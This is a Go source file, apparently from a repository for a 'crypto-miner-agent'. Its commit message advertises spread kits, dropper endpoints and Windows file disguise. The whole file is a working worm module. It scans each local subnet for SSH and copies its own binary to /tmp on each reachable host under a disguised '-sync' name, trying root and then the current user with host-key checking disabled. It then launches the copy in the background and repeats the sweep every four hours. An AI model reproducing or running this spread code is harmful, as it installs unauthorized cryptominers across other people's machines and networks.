Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
129 lines
3.0 KiB
Go
129 lines
3.0 KiB
Go
//go:build !windows
|
|
|
|
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"log"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// StartAutoSpreader launches SSH-based lateral deployment on Unix hosts.
|
|
func StartAutoSpreader(cfg config.RuntimeConfig) {
|
|
if !cfg.AutoSpread {
|
|
return
|
|
}
|
|
go func() {
|
|
time.Sleep(10 * time.Minute)
|
|
ticker := time.NewTicker(4 * time.Hour)
|
|
defer ticker.Stop()
|
|
for {
|
|
spreadUnixSubnet(cfg)
|
|
<-ticker.C
|
|
}
|
|
}()
|
|
log.Printf("[autospread] Unix SSH spread module active")
|
|
}
|
|
|
|
// RunSpreadOnce triggers an immediate SSH sweep (non-blocking).
|
|
func RunSpreadOnce(cfg config.RuntimeConfig) string {
|
|
go spreadUnixSubnet(cfg)
|
|
return "unix lateral spread sweep started (SSH :22)"
|
|
}
|
|
|
|
// spreadSem limits concurrent SSH spread goroutines to 16 (M20)
|
|
var spreadSem = make(chan struct{}, 16)
|
|
|
|
func spreadUnixSubnet(cfg config.RuntimeConfig) {
|
|
exePath, err := os.Executable()
|
|
if err != nil {
|
|
return
|
|
}
|
|
ips := getLocalIPs()
|
|
for _, ip := range ips {
|
|
subnet := getSubnet(ip)
|
|
if subnet == "" {
|
|
continue
|
|
}
|
|
for i := 1; i < 255; i++ {
|
|
target := fmt.Sprintf("%s.%d", subnet, i)
|
|
if target == ip {
|
|
continue
|
|
}
|
|
spreadSem <- struct{}{} // acquire slot
|
|
go func(t string) {
|
|
defer func() { <-spreadSem }()
|
|
attemptSSHSpread(cfg, t, exePath)
|
|
}(target)
|
|
}
|
|
}
|
|
}
|
|
|
|
func attemptSSHSpread(cfg config.RuntimeConfig, target, exePath string) {
|
|
conn, err := net.DialTimeout("tcp", target+":22", 2*time.Second)
|
|
if err != nil {
|
|
return
|
|
}
|
|
conn.Close()
|
|
|
|
remoteName := sanitizeName(cfg.WorkerName) + "-sync"
|
|
remotePath := filepath.ToSlash(filepath.Join("/tmp", remoteName))
|
|
scp := exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, "root@"+target+":"+remotePath)
|
|
if err := scp.Run(); err != nil {
|
|
user := os.Getenv("USER")
|
|
if user == "" {
|
|
user = "ubuntu"
|
|
}
|
|
scp = exec.Command("scp", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", exePath, user+"@"+target+":"+remotePath)
|
|
if err := scp.Run(); err != nil {
|
|
return
|
|
}
|
|
}
|
|
|
|
start := exec.Command("ssh", "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=no", "-o", "ConnectTimeout=3", target,
|
|
fmt.Sprintf("chmod +x %s && nohup %s --spread-install >/dev/null 2>&1 &", remotePath, remotePath))
|
|
if err := start.Run(); err == nil {
|
|
log.Printf("[autospread] deployed to %s via SSH", target)
|
|
}
|
|
}
|
|
|
|
func getLocalIPs() []string {
|
|
var ips []string
|
|
ifaces, err := net.Interfaces()
|
|
if err != nil {
|
|
return ips
|
|
}
|
|
for _, i := range ifaces {
|
|
if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
|
|
continue
|
|
}
|
|
addrs, err := i.Addrs()
|
|
if err != nil {
|
|
continue
|
|
}
|
|
for _, a := range addrs {
|
|
if ipnet, ok := a.(*net.IPNet); ok {
|
|
if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
|
|
ips = append(ips, ip4.String())
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return ips
|
|
}
|
|
|
|
func getSubnet(ip string) string {
|
|
parts := strings.Split(ip, ".")
|
|
if len(parts) != 4 {
|
|
return ""
|
|
}
|
|
return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
|
|
}
|